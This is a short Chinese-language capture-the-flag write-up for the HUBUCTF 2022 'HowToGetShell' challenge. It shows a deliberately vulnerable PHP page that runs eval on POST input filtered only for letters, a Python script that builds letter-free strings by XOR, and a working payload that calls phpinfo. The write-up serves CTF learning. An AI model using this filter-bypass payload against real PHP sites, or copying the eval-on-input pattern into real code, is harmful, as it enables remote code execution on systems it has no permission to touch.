HUBUCTF 2022 新生赛

文章发布时间:

最后更新时间:

文章总字数:
229

预计阅读时间:
1 分钟

HowToGetShell

1
2
3
4
5
6
7
<?php
show_source(__FILE__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
    die("invalid input!");
}
eval($mess);

代码审计题 提供了eval函数 并且我们可以输入参数 但是preg_match正则匹配了字母 所以我们无法使用常规字符来构造payload 使得泄露flag

https://blog.csdn.net/qq_38154820/article/details/106330233/

翻阅到这篇文章 这里选择难度最为简单的异或办法 由两个字符串异或得到我们想要的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "


answer = "phpinfo"


tmp1,tmp2 = '',''
for c in answer:
for i in valid:
for j in valid:
if (ord(i)^ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print(tmp1,tmp2)
1
0302181 @[@[_^^

payload:

1
mess=$_="0302181"^"@[@[_^^";$_();

这里因为屏蔽了所有的字母 所以无法直接调用mess 只能通过命名一个参数为_然后调用这个参数